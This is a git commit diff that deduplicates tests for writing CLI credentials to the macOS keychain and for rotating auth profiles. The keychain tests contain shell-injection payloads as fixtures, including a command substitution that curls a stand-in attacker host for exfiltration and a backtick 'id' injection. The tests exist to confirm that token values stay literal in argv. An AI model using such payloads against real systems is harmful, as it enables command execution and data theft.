test(core): dedupe auth rotation and credential injection specs

This commit is contained in:
Peter Steinberger
2026-02-22 08:44:35 +00:00
parent c2c7114ed3
commit cfb3cee7aa
2 changed files with 58 additions and 74 deletions

View File

@@ -90,54 +90,43 @@ describe("cli credentials", () => {
expect((addCall?.[1] as string[] | undefined) ?? []).toContain("-U");
});
it("prevents shell injection via malicious OAuth token values", async () => {
const maliciousToken = "x'$(curl attacker.com/exfil)'y";
mockExistingClaudeKeychainItem();
const ok = writeClaudeCliKeychainCredentials(
it("prevents shell injection via untrusted token payload values", async () => {
const cases = [
{
access: maliciousToken,
access: "x'$(curl attacker.com/exfil)'y",
refresh: "safe-refresh",
expires: Date.now() + 60_000,
expectedPayload: "x'$(curl attacker.com/exfil)'y",
},
{ execFileSync: execFileSyncMock },
);
expect(ok).toBe(true);
// The -w argument must contain the malicious string literally, not shell-expanded
const addCall = getAddGenericPasswordCall();
const args = (addCall?.[1] as string[] | undefined) ?? [];
const wIndex = args.indexOf("-w");
const passwordValue = args[wIndex + 1];
expect(passwordValue).toContain(maliciousToken);
// Verify it was passed as a direct argument, not built into a shell command string
expect(addCall?.[0]).toBe("security");
});
it("prevents shell injection via backtick command substitution in tokens", async () => {
const backtickPayload = "token`id`value";
mockExistingClaudeKeychainItem();
const ok = writeClaudeCliKeychainCredentials(
{
access: "safe-access",
refresh: backtickPayload,
expires: Date.now() + 60_000,
refresh: "token`id`value",
expectedPayload: "token`id`value",
},
{ execFileSync: execFileSyncMock },
);
] as const;
expect(ok).toBe(true);
for (const testCase of cases) {
execFileSyncMock.mockClear();
mockExistingClaudeKeychainItem();
// Backtick payload must be passed literally, not interpreted
const addCall = getAddGenericPasswordCall();
const args = (addCall?.[1] as string[] | undefined) ?? [];
const wIndex = args.indexOf("-w");
const passwordValue = args[wIndex + 1];
expect(passwordValue).toContain(backtickPayload);
const ok = writeClaudeCliKeychainCredentials(
{
access: testCase.access,
refresh: testCase.refresh,
expires: Date.now() + 60_000,
},
{ execFileSync: execFileSyncMock },
);
expect(ok).toBe(true);
// Token payloads must remain literal in argv, never shell-interpreted.
const addCall = getAddGenericPasswordCall();
const args = (addCall?.[1] as string[] | undefined) ?? [];
const wIndex = args.indexOf("-w");
const passwordValue = args[wIndex + 1];
expect(passwordValue).toContain(testCase.expectedPayload);
expect(addCall?.[0]).toBe("security");
}
});
it("falls back to the file store when the keychain update fails", async () => {

View File

@@ -272,45 +272,40 @@ async function runTurnWithCooldownSeed(params: {
}
describe("runEmbeddedPiAgent auth profile rotation", () => {
it("rotates for auto-pinned profiles", async () => {
const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-"));
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-workspace-"));
try {
await writeAuthStore(agentDir);
mockFailedThenSuccessfulAttempt("rate limit");
await runAutoPinnedOpenAiTurn({
agentDir,
workspaceDir,
it("rotates for auto-pinned profiles across retryable stream failures", async () => {
const cases = [
{
errorMessage: "rate limit",
sessionKey: "agent:test:auto",
runId: "run:auto",
});
expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(2);
await expectProfileP2UsageUpdated(agentDir);
} finally {
await fs.rm(agentDir, { recursive: true, force: true });
await fs.rm(workspaceDir, { recursive: true, force: true });
}
});
it("rotates when stream ends without sending chunks", async () => {
const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-"));
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-workspace-"));
try {
await writeAuthStore(agentDir);
mockFailedThenSuccessfulAttempt("request ended without sending any chunks");
await runAutoPinnedOpenAiTurn({
agentDir,
workspaceDir,
},
{
errorMessage: "request ended without sending any chunks",
sessionKey: "agent:test:empty-chunk-stream",
runId: "run:empty-chunk-stream",
});
},
] as const;
expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(2);
await expectProfileP2UsageUpdated(agentDir);
} finally {
await fs.rm(agentDir, { recursive: true, force: true });
await fs.rm(workspaceDir, { recursive: true, force: true });
for (const testCase of cases) {
runEmbeddedAttemptMock.mockClear();
const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-"));
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-workspace-"));
try {
await writeAuthStore(agentDir);
mockFailedThenSuccessfulAttempt(testCase.errorMessage);
await runAutoPinnedOpenAiTurn({
agentDir,
workspaceDir,
sessionKey: testCase.sessionKey,
runId: testCase.runId,
});
expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(2);
await expectProfileP2UsageUpdated(agentDir);
} finally {
await fs.rm(agentDir, { recursive: true, force: true });
await fs.rm(workspaceDir, { recursive: true, force: true });
}
}
});